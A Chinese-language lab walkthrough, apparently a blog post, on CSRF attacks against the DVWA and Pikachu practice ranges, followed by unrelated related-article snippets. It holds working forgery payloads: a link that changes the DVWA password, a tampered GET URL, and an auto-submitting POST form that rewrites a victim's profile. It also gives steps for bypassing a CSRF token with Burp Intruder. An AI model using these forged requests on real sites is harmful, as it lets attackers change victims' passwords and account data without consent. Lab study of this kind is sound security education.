CSRF靶场实战
DVWA靶场链接：https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd=0b52
提取码：0b52
DVWA Low 级别打开靶场，修改密码
复制上面的 url，写个简单的 html 文件
<html
<body> <a href=http://127.0.0.1/DVWA/vulnerabilities/csrf/?password_new=123&password_conf=123&Ch ange=Change#>csrf</a>
</body>
</html>
点击链接后，在dvwa未login out的情况下，直接修改了密码
Pikachu 靶场：链接：https://pan.baidu.com/s/12L5WZKrlI_RlYPmo1AjQRg?pwd=ndwj
提取码：ndwj
Get 型
根据提示，我们随机选择账号进行登录。在这里，以lili账号为例，进行登录。
登录之后，可以看到lili的个人信息
点击修改 lili 的信息并进行抓包
后台没做 CSRF token，同时也是通过 GET 请求来提交修改信息，我们拿到这个，修改一下，然后让 allen 点击就好，我们构造的 URL 中把地址 add 改为 hacker。allen 一点击就修改了地址。CSRF 的主要问题是敏感操作容易被伪造，我们可以加入 Token 让请求不容易被伪造
Go 一下之后去访问上面的链接，就发现上面的信息被更改了
Post 型
尝试构造form表单CSRF_post.html，点击链接恶意修改个人信息
<html><head><script> window.onload = function() {
document.getElementById("postsubmit").click();
}</script></head><body>
<form method="post" action="http://[站点IP/域名]/pikachu/vul/csrf/csrfpost/csrf_post_edit.php"> <input id="sex" type="text" name="sex" value="hacker" />
<input id="phonenum" type="text" name="phonenum" value="11111111111" />
<input id="add" type="text" name="add" value="hacker" />
<input id="email" type="text" name="email" value="hacker@pikachu.com" />
<input id="postsubmit" type="submit" name="submit" value="submit"/></form></body></html>
访问该表单后，个人信息就发生了变化
CSRF Token login
token 是如何防止 CSRF 的：CSRF 的主要问题是敏感操作的链接容易被伪造。
解决容易被伪造的方法：每次请求，都增加一个随机码（需要够随机，不容易伪造），后台每次对这个随机码进行验证
1. 在 pikachu 的 CSRF Token 页面以 lucy 的账号进行登录，然后修改信息，并进行抓包，这里我们可以看到有 token 值
Token 值，防 CSRF
2.每次刷新页面，token值都会发生变化。这样就防止了CSRF 这里的确是没法伪造的试试绕过token，将请求包发送到Intruder模块，设置positions，攻击模式设置为Pitchfork，这里只把电话号码和token设置为了变量
设置payload，这里就不使用字典了，直接随便指定几个号码，主要看一下token 怎么设置poaylod
主要为了获取“上一次响应数据包”中的token值，在响应包中找到token值，规则添加成功
因为需要提交token，所以不能使用多线程，需要把线程数改为1
重定向响应，这里设置为总是跟随重定向
设置递归
攻击成功
相关文章：
CSRF靶场实战
DVWA靶场链接：https://pan.baidu.com/s/1eUlPyB-gjiZwI0wsNW_Vkw?pwd0b52 提取码：0b52 DVWA Low 级别打开靶场，修改密码 复制上面的 url，写个简单的 html 文件 <html <body> <a hrefhttp://127.0.0.1/DVWA/vulne…...
小程序性能优化
背景 在开发小程序的过程中我们发现，小程序的经常会遇到性能问题，尤其是在微信开发者工具的时候更是格外的卡，经过排查发现，卡顿的页面有这么多的js代码需要加载，而且都是在进入这个页面的时候加载，这就会…...
C++拿几道题练练手吧
第 1 题 【 问答题 】 • 最短路径问题 平面上有n个点(n<100)，每个点的坐标均在-10000~10000之间。其中的一些点之间有连线。 若有连线，则表示可从一个点到达另一个点，即两点间有通路，通路的距离为两点间的直线距离。现在的任务…...
【国产MCU】-CH32V307-I2C控制器
I2C控制器 文章目录 I2C控制器1、I2C模块介绍2、I2C驱动API介绍3、I2C使用实例3.1 主模式3.1.1 主设备发送模式和主设备接收模式3.1.2 DMA方式发送3.2 从模式内部集成电路总线（I2C）广泛用在微控制器和传感器及其他片外模块的通讯上，它本身支持多主多从模式，仅仅使用两根线（…...
k8s pod理论
一、Pod概述 1、Pod的定义 Pod是K8S中创建和管理的最小单位。 2、一个Pod至少包含多少容器 1个pause容器（基础容器/父容器/根容器）和 1个或者多个应用容器（业务容器） 通常一个Pod最好只包含一个应用容器，一个应用容…...
智慧应急：构建全方位、立体化的安全保障网络
一、引言 在信息化、智能化快速发展的今天，传统的应急管理模式已难以满足现代社会对安全保障的需求。智慧应急作为一种全新的安全管理模式，旨在通过集成物联网、大数据、云计算、人工智能等先进技术，实现对应急事件的快速响应、精准决策和高…...
国际黄金价格是什么？和黄金价格有何区别？
黄金是世界上最珍贵的贵金属之一，其价值被无数人所垂涎。而国际黄金价格作为市场上的参考指标，直接影响着黄金交易的买卖。那么国际黄金价格到底是什么，与黄金价格又有何区别呢？本文将为您详细解答。 国际黄金价格是指以美元计量的…...
React入门简介
React简介 react是Facebook用来创建用户界面的js库。React不是一个MVC框架，而是一个用于构建组件ui库，是一个前端界面开发工具，所以很多人认为React是MVC中的V（视图）。React的存在能够很好的解决‘构建随着时间数据不断…...
强化学习_06_pytorch-PPO实践(Hopper-v4)
一、PPO优化 PPO的简介和实践可以看笔者之前的文章 强化学习_06_pytorch-PPO实践(Pendulum-v1) 针对之前的PPO做了主要以下优化： batch_normalize: 在mini_batch 函数中进行adv的normalize, 加速模型对adv的学习policyNet采用beta分布(0~1): 同时增加MaxMinScale …...
Scala Intellij编译错误：idea报错xxxx“is already defined as”
今天写scala代码时,Idea报了这样的错误，如下图所示： 一般情况下原因分两种： 第一是我们定义的类或对象重复多次出现，编译器无法确定使用哪个定义。 这通常是由于以下几个原因导致的： 重复定义：在同一个文件…...
面试笔记系列五之MySql+Mybaits基础知识点整理及常见面试题
myibatis执行过程 1读取MyBatis的配置文件。 mybatis-config.xml为MyBatis的全局配置文件，用于配置数据库连接信息。 2加载映射文件。映射文件即SQL映射文件，该文件中配置了操作数据库的SQL语句，需要在MyBatis配置文件mybatis-config.xml中…...
掌握Pillow：Python图像处理的艺术
掌握Pillow：Python图像处理的艺术 引言Python与图像处理的概述Pillow库基础导入Pillow库基本概念图像的打开、保存和显示 图像操作基础图像的剪裁图像的旋转和缩放色彩转换和滤镜应用文字和图形的绘制 高级图像处理图像的合成与蒙版操作像素级操作与图像增强复杂图形…...
React最常用的几个hook
React最常用的几个Hook包括：useState、useEffect、useRef以及useContext。 useState： 用于在函数组件中添加状态管理。它返回一个数组，第一个元素是当前状态的值，第二个元素是更新状态的函数。在使用时，可以通过解构赋…...
自然语言处理Gensim入门：建模与模型保存
文章目录 自然语言处理Gensim入门：建模与模型保存关于gensim基础知识1. 模块导入2. 内部变量定义3. 主函数入口 (if __name__ __main__:)4. 加载语料库映射5. 加载和预处理语料库6. 根据方法参数选择模型训练方式7. 保存模型和变换后的语料8.代码 自然语言处理Gens…...
Windows 10中Visual Studio Code（VSCode）无法自动打开终端的解决办法
1.检查设置： 打开VSCode。点击左侧菜单栏的“文件”（File）。选择“首选项”（Preferences）。点击“设置”（Settings）。在搜索框中输入“shell”，然后点击“settings.json”进行编辑。…...
python dictionary 字典中的内置函数介绍及其示例
Python字典内置方法： 本文介绍了Python字典（dictionary）中的内置函数及其用法示例。字典是Python中非常常用的一种数据结构，它允许我们通过键（key）来快速查找、添加、修改或删除值（value&#…...
pdf转word文档怎么转？分享4种转换方法
pdf转word文档怎么转？在日常工作中，我们经常遇到需要将PDF文件转换为Word文档的情况。无论是为了编辑、修改还是为了重新排版，将PDF转为Word都显得尤为重要。那么，PDF转Word文档怎么转呢？今天，就为大家分享…...
深度测试：指定DoC ID对ES写入性能的影响
在[[使用python批量写入ES索引数据]]中已经介绍了如何批量写入ES数据。基于该流程实际测试一下指定文档ID对ES性能的影响有多大。 一句话版 指定ID比不指定ID的性能下降了63%，且加剧趋势。 以下是测评验证的细节。 百万数据量 索引默认使用1分片和1副本。 指定…...
【JGit】 AddCommand 新增的文件不能添加到暂存区
执行git.add().addFilepattern(".").setUpdate(true).call() 。新增的文件不能添加到暂存区，为什么？ 在 JGit 中，setUpdate(true) 方法用于在调用 AddCommand 的 addFilepattern() 方法时，将已跟踪文件标记为需要更新。…...
golang学习6，glang的web的restful接口传参
1.get传参 //get请求 返回json 接口传参r.GET("/getJson/:id", controller.GetUserInfo) 1.2.接收处理 package controllerimport "github.com/gin-gonic/gin"func GetUserInfo(c *gin.Context) {_ c.Param("id")ReturnSucess(c, 200, &quo…...
终极键盘鼠标控制器：Mouseable如何彻底改变你的工作效率
终极键盘鼠标控制器：Mouseable如何彻底改变你的工作效率 【免费下载链接】mouseable Mouseable is intended to replace a mouse or trackpad. 项目地址: https://gitcode.com/gh_mirrors/mo/mouseable 在当今数字化工作环境中，鼠标已经成为我们日…...
蓝桥杯单片机NE555测频实战：手把手教你用定时器捕获模式搞定（附完整代码）
蓝桥杯单片机NE555测频实战：定时器捕获模式深度解析与代码实现 在蓝桥杯单片机竞赛中，NE555频率测量一直是经典题型。传统的外部计数模式虽然简单直接，但在精度和实时性上存在明显局限。本文将带你深入探索定时器捕获模式这一高阶技巧&#x…...
别再只盯着EDID了！一文搞懂DisplayPort的DPCD配置与链路协商（附实战解析）
DisplayPort链路协商深度解析：从DPCD寄存器到实战调试 在显示技术领域，工程师们常常将注意力集中在EDID（Extended Display Identification Data）上，却忽视了DisplayPort接口中更为关键的动态协商机制——DPCDÿ…...
Excel插件开发实战：从零封装一个带自定义Ribbon的.xlam插件（含完整代码与避坑点）
Excel插件开发实战：从零封装带自定义Ribbon的.xlam插件 在数据分析与财务工作中，Excel插件能显著提升重复性任务的效率。本文将完整演示如何开发一个带有自定义功能区的专业级Excel插件，涵盖从空白文件创建到最终分发的全流程。不同于简单的宏…...
Python调用VLC失败？别急，先检查你的VLC Media Player
1. 为什么Python调用VLC会失败？ 很多Python开发者第一次使用python-vlc库时都会遇到一个经典错误：明明已经用pip安装了python-vlc，但在导入时却提示"找不到指定模块"。这个问题困扰过不少新手，包括我自己。记得第一次遇…...
Tiled地图编辑器：从零开始创建专业2D游戏地图的完整指南
Tiled地图编辑器：从零开始创建专业2D游戏地图的完整指南 【免费下载链接】tiled Flexible level editor 项目地址: https://gitcode.com/gh_mirrors/ti/tiled 想象一下，你正在开发一款2D游戏，需要设计精美的关卡和复杂的地形系统&…...
网络拓扑发现实战：从LLDP数据采集到D3.js可视化前端全链路解析
网络拓扑发现实战：从LLDP数据采集到D3.js可视化全链路解析 现代网络架构正变得越来越复杂，从传统的三层架构到如今的云原生网络，设备之间的连接关系呈现出动态化、多样化的特征。对于网络运维团队而言，如何快速准确地掌握全网拓扑…...
GhostNet、MobileNetV3、EfficientNet轻量级网络怎么选？一张图带你看懂核心技术与适用场景
GhostNet、MobileNetV3与EfficientNet技术选型指南：移动端AI的黄金三角 在移动端AI应用爆发的今天，算法工程师们常陷入这样的困境：模型精度提升5%可能带来50%的延迟增加，而轻量级网络的选择就像走进没有地图的迷宫。当华为的Ghost…...
氮化铝缓冲层 HEMT最新研究
核心突破：打破功率瓶颈此前，业界普遍认为基于氮化铝（AlN）缓冲层的 HEMT 器件，其连续波（CW）输出功率难以超过 6 W/mm。这导致许多人对该技术持怀疑态度，尽管 AlN 拥有极佳的导热性能&…...
芯片行业为什么还不能把研发全托付给Agent
芯片行业有一个词叫"良率"，指的是生产出来的芯片中符合规格的比例。现在AI研发流程里，有一个类似的问题我觉得可以叫做AI流程良率：Agent自动化执行一个完整流程，最终得到符合预期结果的概率是多少？一个Agent…...